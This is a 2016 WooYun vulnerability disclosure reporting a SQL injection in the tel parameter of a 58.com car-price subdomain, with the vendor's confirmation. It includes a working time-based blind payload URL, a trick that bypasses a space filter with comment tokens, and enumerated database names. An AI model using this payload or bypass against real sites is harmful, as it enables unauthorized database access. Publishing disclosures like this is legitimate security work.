当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0200087

漏洞标题:58同城某分站存在又一处SQL注入

相关厂商:58同城

漏洞作者: getshell1993

提交时间:2016-04-24 15:02

修复时间:2016-06-09 11:20

公开时间:2016-06-09 11:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-24: 细节已通知厂商并且等待厂商处理中
2016-04-25: 厂商已经确认,细节仅向厂商公开
2016-05-05: 细节向核心白帽子及相关领域专家公开
2016-05-15: 细节向普通白帽子公开
2016-05-25: 细节向实习白帽子公开
2016-06-09: 细节向公众公开

简要描述:

又一处SQL注入

详细说明:

上一次修复了,发现还有新的一处。
http://carprice.58.com/gcj/telsave.do?emailto=cuihanbinghit@163.com,songzenglin@ganji.com,xujin@ganji.com&emailfrom=mailservice@58.com&emailsign=58%25E4%25BA%258C%25E6%2589%258B%25E8%25BD%25A6&title=%25E4%25BC%25B0%25E8%25BD%25A6%25E4%25BB%25B7%25E2%2580%2594%25E2%2580%2594%25E7%25BA%25BF%25E4%25B8%258B%25E8%25AF%2584%25E4%25BC%25B0%25E9%25A2%2584%25E7%25BA%25A6&content=%25E8%25BD%25A6%25E5%259E%258B%25EF%25BC%259A%25E4%25B8%25B0%25E7%2594%25B0%2520%25E5%258D%25A1%25E7%25BD%2597%25E6%258B%2589%25202009%25E6%25AC%25BE%25201.8%2520%25E8%2587%25AA%25E5%258A%25A8%2520GLX-i%25E7%2589%25B9%25E5%2588%25AB%25E7%25BA%25AA%25E5%25BF%25B5%25E7%2589%2588%25E3%2580%2581%25E4%25B8%258A%25E7%2589%258C%25E6%2597%25A5%25E6%259C%259F:2009%25E5%25B9%25B412%25E6%259C%2588%25E4%25B8%258A%25E7%2589%258C%25E3%2580%2581%25E8%25A1%258C%25E9%25A9%25B6%25E9%2587%258C%25E7%25A8%258B:7.0%25E3%2580%2581%25E6%2589%2580%25E5%259C%25A8%25E5%259C%25B0%25E5%258C%25BA:%25E5%258C%2597%25E4%25BA%25AC%25E3%2580%2581%25E6%2582%25A8%25E7%259A%2584%25E7%2588%25B1%25E8%25BD%25A6%25E8%25AF%2584%25E4%25BC%25B0%25E4%25BB%25B7:5.58-6.12%25E4%25B8%2587%25E3%2580%2581%25E8%2581%2594%25E7%25B3%25BB%25E6%2596%25B9%25E5%25BC%258F:13333333333&tel=13333333333/**/and/**/sleep(5)&gcjid=6027351&source=0
参数tel,只是过滤空格,用/**/绕过

1.png


漏洞证明:

available databases [3]:
[*] dbwww58com_eschuodong
[*] information_schema
[*] test

修复方案:

过滤

版权声明:转载请注明来源 getshell1993@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-04-25 11:10

厂商回复:

已确认,感谢对58安全的关注

最新状态:

暂无